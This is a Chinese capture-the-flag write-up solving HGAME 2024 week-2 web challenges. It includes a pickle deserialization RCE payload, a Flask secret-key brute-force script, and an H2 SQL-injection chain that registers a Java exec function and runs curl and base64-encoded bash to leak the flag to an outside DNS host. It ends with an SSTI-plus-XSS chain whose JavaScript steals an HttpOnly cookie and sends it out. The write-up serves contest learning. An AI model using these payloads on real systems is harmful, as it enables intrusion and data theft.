HGAME week2-web wp
除了java那道和XSS那道,其他挺简单。
What the cow say?
直接可以命令注入,发现flag字符被ban了,但不能直接注入,包裹反引号直接RCE:

一条龙:

Select More Courses
进去后提示弱密码,但是一直找不到对的,dirsearch也搜不到:

还以为方向错了,后面才知道是字典狭隘了呃呃...
最终还是跑出来了:

登录进去又是抢课,但直接抢又抢不上,估计是个多线程条件竞争。
在选课申请那里bp无限发包,再去另一个页面点选课就抢上了:

随缘吧:

然后点选完了就有了:

myflask
简单的flask-session伪造。
首先读源码发现secretkey是用时间戳格式,直接写个脚本爆破:
from datetime import datetime, timedelta from pytz import timezone # 创建Asia/Shanghai时区对象 shanghai = timezone('Asia/Shanghai') # 定义起始时间 start_time = datetime(2000, 1, 1, tzinfo=shanghai) # 定义结束时间 end_time = datetime(2000, 1, 2, tzinfo=shanghai) # 创建输出文件 with open('1.txt', 'w') as file: # 遍历每一秒的时间 while start_time < end_time: # 格式化时间为六位数字并包裹双引号 current_time_str = '"' + start_time.strftime("%H%M%S") + '"' # 写入文件 file.write(current_time_str + '\n') # 增加一秒 start_time += timedelta(seconds=1)
一条龙:


我试了试反弹shell,但是弹不动。估计是不出网的,没有waf,直接popen读:
import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )

search4member
java的sql注入,但好像不是简单的sql注入爆库爆表爆字段这种。
先看附件,很容易找到这个sql注入的东西:

看看数据库结构:

没有waf,直接测一下sql注入:
aaaa%' union select 1,2,3;--+

#爆库
aaaa%' and 1>2 union SELECT 1,2,database();--+

好怪的数据库,而且数据库里id、intro、blog都找不到flag。
猜测那么这道题应该需要找RCE的点。
我们看看pom.xml里的依赖,然后找到了h2database有RCE漏洞:

H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)
Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)


其实意思就是CREATE ALIAS创建一个java函数shellexec,然后RCE。
参照以上可以得到两个payload(任选其一):
(vps反弹shell不行,尝试DNS外带)
?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+
?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+
测试一下,能够得到response:

最终payload:

前面测试已经注册了SHELLEXEC函数,所以直接写payload就行了:
?keyword=aaaa%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kdDI5MzBzZy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

flag用花括号包一下(DNS外带是带不了{ }的):
hgame{1641f3c9f2fe0dbca063cbfb06925009c609fc28}
看看官方wp:


梅开二度
go的SSTI+XSS,以前没咋做过XSS,所以这次复现写详细一点。
源码:
package main import ( "context" "log" "net/url" "os" "regexp" "sync" "text/template" "time" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "golang.org/x/net/html" ) var re = regexp.MustCompile(`script|file|on`) var lock sync.Mutex func main() { allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:], chromedp.NoSandbox, chromedp.DisableGPU)...) defer cancel() r := gin.Default() r.GET("/", func(c *gin.Context) { tmplStr := c.Query("tmpl") if tmplStr == "" { tmplStr = defaultTmpl } else { if re.MatchString(tmplStr) { c.String(403, "tmpl contains invalid word") return } if len(tmplStr) > 50 { c.String(403, "tmpl is too long") return } tmplStr = html.EscapeString(tmplStr) } tmpl, err := template.New("resp").Parse(tmplStr) if err != nil { c.String(500, "parse template error: %v", err) return } if err := tmpl.Execute(c.Writer, c); err != nil { c.String(500, "execute template error: %v", err) } }) r.GET("/bot", func(c *gin.Context) { rawURL := c.Query("url") u, err := url.Parse(rawURL) if err != nil { c.String(403, "url is invalid") return } if u.Host != "127.0.0.1:8080" { c.String(403, "host is invalid") return } go func() { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(allocCtx, chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)), ) defer cancel() ctx, _ = context.WithTimeout(ctx, 20*time.Second) if err := chromedp.Run(ctx, chromedp.Navigate(u.String()), chromedp.Sleep(time.Second*10), ); err != nil { log.Println(err) } }() c.String(200, "bot will visit it.") }) r.GET("/flag", func(c *gin.Context) { if c.RemoteIP() != "127.0.0.1" { c.String(403, "you are not localhost") return } flag, err := os.ReadFile("/flag") if err != nil { c.String(500, "read flag error") return } c.SetCookie("flag", string(flag), 3600, "/", "", false, true) c.Status(200) }) r.Run(":8080") } const defaultTmpl = ` <!DOCTYPE html> <html> <head> <title>YOU ARE</title> </head> <body> <div>欢迎来自 {{.RemoteIP}} 的朋友</div> <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div> <div>flag在bot手上,想办法偷过来</div> </body> `
丢chatgpt分析了一下:
这段代码中包含了一些限制函数,用于对输入参数进行校验,防止恶意攻击和非法访问。让我具体解释一下这些限制函数的作用: tmplStr长度和内容校验: 当用户请求的tmpl参数为空时,将其设置为默认模板字符串defaultTmpl。 通过正则表达式re检查tmplStr是否包含无效词语,如"script"、"file"或"on",如果包含则返回403错误。 如果tmplStr长度超过50个字符,返回403错误。 对tmplStr进行HTML转义,以防止XSS攻击,然后将其作为模板字符串解析。 URL合法性校验: 在"/bot"路径的处理函数中,对传入的URL进行解析,并检查其合法性。 确保URL的主机为"127.0.0.1:8080",否则返回403错误。 本地主机校验: 在"/flag"路径的处理函数中,检查请求的远程IP是否为"127.0.0.1",如果不是则返回403错误。 读取flag文件: 通过os.ReadFile()函数尝试读取名为"/flag"的文件内容。 如果读取失败,返回500错误。 这些限制函数通过对输入参数的有效性和合法性进行检查,可以有效防范恶意请求和攻击行为,增强了程序的安全性和稳定性。
直奔主题:

结合源码和分析,XSS部分的步骤已经很明显了,bot可以访问服务器本地,那么就是要在/bot路由传一个伪造127.0.0.1:8080的url参数,里面再套一个tmpl参数想办法插入一个恶意js代码能够访问/flag路由,把flag用cookie的形式带出来。
但是怎么传这个tmpl参数呢?
而且这里面有个正则表达式过滤了script、file、on,就相当于把直接传<script>、<onclick>这种典型的 XSS js代码给ban了,甚至还有长度要小于50的限制,可谓是重重受阻。
怎么破局?我们可以看到这里:

这个{{}}就很耐人寻味。看着很像SSTI,但是我一般只遇到过php的smarty和python的jinja2这种模板注入,go是强类型的静态语言,除了开发者自己写的逻辑漏洞和依赖库都很难有安全问题。而且前两者的SSTI基本可以RCE,但是go的大多只有利用go模板提供的字符串打印功能XSS了。
link:
浅学Go下的ssti - SecPulse.COM | 安全脉搏
Golang中的SSTI | CoolCat' Blog (thekingofduck.com)
再看源码这里用的是text/template的类型:

相较于html/template,后者能够直接把XSS的东西给转义了,而text/template安全性更低一些,但是这个代码里还是用了EscapeString这种方法来规避。

在{{}}内的操作称之为pipeline:
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template "navbar"}} 引入子模版
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.
在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。
在本题中先用 {{.}} 或 {{println 0B101101011011011110001010110}} 试试有无SSTI:




确实存在。
那么还是回到那个问题,怎么把SSTI和这个XSS结合起来?
其实也很简单,只需要访问/bot然后在构造的js里再传参tmpl={{}},里面套娃把flag从cookie带出。
再看这个XSS,有blacklist、有length-limit、有转义,难绷。当时就是给我卡在这里了。
最后找到了完美绕过这仨玩意的payload:
//1、alert弹窗
?tmpl={{.Query `Eddie`}}&Eddie=<script>alert('XSS')</script>
//2、值回显到页面(也可用alert)
?tmpl={{index .Request.URL.Query.Eddie 0}}&Eddie=eddiemurphy
//3、补充个官方wp的
?tmpl={{.Query.Request.Method}}&GET=eddiemurphy
测试第一个:

其实思路都是殊途同归,都是套了Query套娃然后参数逃逸,这样就可以绕过黑名单、长度限制、转义。
最后一步就是构造js代码了,我们的目的就是用这个js代码访问/flag,然后拿到cookie。
但是本地测了下,这个题有点搞,很多坑,怪不得这么多赛棍就十几个都做出来....
这里用三个方法都打一遍。
坑一:这个题目的确出网,但是vps收不到,只能dns外带。DNSLog Platform 或 Dashboard - requestrepo.com
坑二:又是url编码传参问题,但这个我以前做SSRF用gopher协议的时候就遇到过,前面/bot?tmpl=传参部分1 ,这个传参部分1需要一次URL编码就不说了,但是后面套娃参数Eddie=传参部分2,需要二次URL编码,因为这个第一次传上去解码后后台还要再解码一次。用原作者Jay17师傅的例子:(先把红框里的url编码一次,再把绿框里的整体url编码一次,也就是红框里url编码了两次)

坑三:是cookie的问题,我们看这个源码:

c: 这通常代表当前的请求上下文(context)。在许多Web框架中,c用于访问和操作请求和响应,如获取请求数据、设置响应头或cookie等。 SetCookie: 这是一个方法,用于在用户的浏览器上设置一个cookie。 "flag": 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。 string(flag): 这是cookie的值。flag变量被转换为字符串类型,这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。 3600: 这是cookie的过期时间,以秒为单位。3600表示cookie将在3600秒后过期,也就是1小时。过期后,浏览器将自动删除该cookie。 "/": 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。"/"表示这个cookie在域名下的所有页面都是可访问的。 "": 这是cookie的域。这里为空字符串,意味着cookie将应用于当前文档的域名。在实际使用中,你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。 false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true,则cookie只能在加密的HTTPS连接中被传输,这增加了安全性。 true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly,这意味着它只能通过HTTP(S)请求访问,而不能通过客户端脚本(如JavaScript)访问。这有助于减少跨站脚本攻击(XSS)的风险。
最难绷的就是这个true,也就是设置的httponly,目的就是不让XSS,最后还藏了这个坑。
当一个cookie被标记为HttpOnly,它不能通过客户端脚本(如JavaScript)访问。
这是一个安全措施,旨在防止跨站脚本攻击(XSS)通过盗取cookie来损害用户的安全。
因此,如果一个cookie被设置为HttpOnly,你不能通过在客户端运行的JavaScript代码,如document.cookie,来访问这个cookie。
这里就点题了,梅开二度。
我们仍然需要用go的SSTI把cookie带出来:
http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}
坑四:还有个坑(我操了....),因为flag格式有花括号{},所以dns直接带不出来,base64和url编码也不行,不知道是不是等号=和百分号%这种也受到了限制。那我们就用字符串截取substring()方法,截取flag中花括号内的纯字符。
或者先转base64然后转十六进制,天无绝人之路。
js代码:
async function fetchData() { // 首先访问网址A await fetch('http://127.0.0.1:8080/flag') .then(response => response.text()) .then(data => console.log('网址A访问成功')) .catch(error => console.error('访问网址A时发生错误:', error)); // 然后访问网址B,并将响应数据赋值给变量X let x; // 定义变量X await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}') .then(response => response.text()) .then(data => { x = data; // 将获取到的数据(网页响应)赋值给变量X }) .catch(error => console.error('访问网址B时发生错误:', error)); window.open("http://Eddie"+x.substring(6,46)+".b3eoelbg.requestrepo.com/");//DNS带出 } // 调用函数 fetchData();
payload demo:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Eddie`}}&Eddie=<script>【JS代码,用来XSS】</script>
payload(正确url编码后,记得用url全编码):

/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Eddie%60%7D%7D%26Eddie%3D%253Cscript%253Easync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25EF%25BC%2588%25E7%25BD%2591%25E9%25A1%25B5%25E5%2593%258D%25E5%25BA%2594%25EF%25BC%2589%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252FEddie%2522%252Bx.substring(6%252C46)%252B%2522.b3eoelbg.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%253C%252Fscript%253E
直接访问:

故flag:
hgame{fdbe48cba7dd1dcdc79b4fa7386fb06767ddc5a7}
至于为什么我知道是substring(6,46),前面6就不说了,就是前六个hgame{不看了从第七个也就是花括号里第一个有效字符开始,而46是因为如果是47、48、49...这种大了的根本没有回显带出来,试试就知道了。
这道题还是仁慈了,flag里是十六进制数字,如果不是那就需要先用base64转然后转十六进制这种带出来,而且substring的分段也要写几次。
详见:
HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
官方wp:

参考:
HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
HGAME 2024 WEEK2 Web方向题解 全-CSDN博客

浙公网安备 33010602011771号